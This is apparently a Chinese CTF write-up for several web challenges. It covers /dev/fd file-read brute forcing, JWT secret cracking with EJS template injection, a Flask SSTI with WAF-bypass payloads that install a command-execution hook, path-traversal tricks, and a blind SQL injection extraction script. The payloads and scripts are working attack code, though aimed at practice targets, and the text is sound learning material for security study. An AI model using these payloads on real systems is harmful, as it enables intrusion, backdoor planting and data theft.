(Linux 中一个进程打开一个文件时,内核会分配一个文件描述符给这个文件 handle,新打开的文件从 3 开始递增,可以通过 /proc/self/fd/<自然数> 或 /dev/fd/<自然数> 来访问这些文件描述符 )
import requests
URL = "http://REPLACE TO YOUR URL"
for i in range(99):
print(requests.get(URL + f"/aa__^^.php?filename=/dev/fd/{i}").text)
通过filename参数读取文件,代码就自动试/dev/fd/0、/dev/fd/1、/dev/fd/2…,直到找到藏着 flag 的那个编号
Expression
这个程序员偷懒直接复制粘贴网上的代码连 JWT 密钥都不改..?
随便注册进去,页面是
欢迎,user_96a12632210f !
根据提示,查看jwt密钥,然后去爆破,我这里使用的是无影工具,直接爆破出来密钥是c2VjcmV0,然后发现你的user就是你回显的,这里可能是ssti以及xss,另外服务端的响应头还有一条:X-Powered-By: Express,因此服务端是 ExpressJS 。
那就是EJS_SSTI了
<%= global.process.mainModule.require ('child_process').execSync ('env') %> 查看env环境变量
Xross The Finish Line
看官方wp吧
week2
ez_read
先随便注册一个账号,发现任意文件读取
..././app.py
发现出来源代码
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os
app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"
USERS = {}
def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""
if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
return payload
@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)
try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)
@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))
base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []
filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""
content = None
error = None
if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)
尝试打一下ssti ?name={{7*7}}出来49
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
是ssti,只要绕过这个漏洞直接打ssti
{{(()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec("__imp"+"ort__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('ivory')).read());'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'")}}
这个按照逻辑
profile?name={{config["_""_c""lass__"]["__ba""se__"]["__init__"]["__g""lobals__"]['os'].popen('ls').read()}}直接去进行命令执行就行,不知道为什么没打通
或者去看官方wp
Sequal No Uta
点进去就是个查询页面
admin'%09and%091=1--+
未找到用户或已停用
?name=admin'%09and%091=1--
该用户存在且活跃
存在sql注入
import requests
import string
url = "http://80-48f73a1b-ee6f-4a74-b4b0-be26c06401cd.challenge.ctfplus.cn/check.php"
charset = sorted(string.ascii_letters + string.digits + "._{}-,")
result = ""
pos = 1
def test_payload(base_url, payload):
payload = payload.replace(" ", "%0a")
respoen = requests.get(url, params=payload)
if '该用户存在且活跃' in respoen.text:
return True
else:
return False
while True:
left,right = 0,len(charset)-1
while left < right :
mid = (right + left)//2
ch = charset[mid]
payload = f"name=admin' AND substr((select group_concat(secret,',') FROM users),{pos},1)>'{ch}'-- "
if test_payload(url,payload) :
left = mid + 1
else:
right = mid
if left < len(charset):
result = result + charset[left]
print(f"当前结果为{result}")
pos += 1
else:
print("结束")
break
print("[*] 枚举完成:", result)
老长时间没有打脚本了,稍微打一下

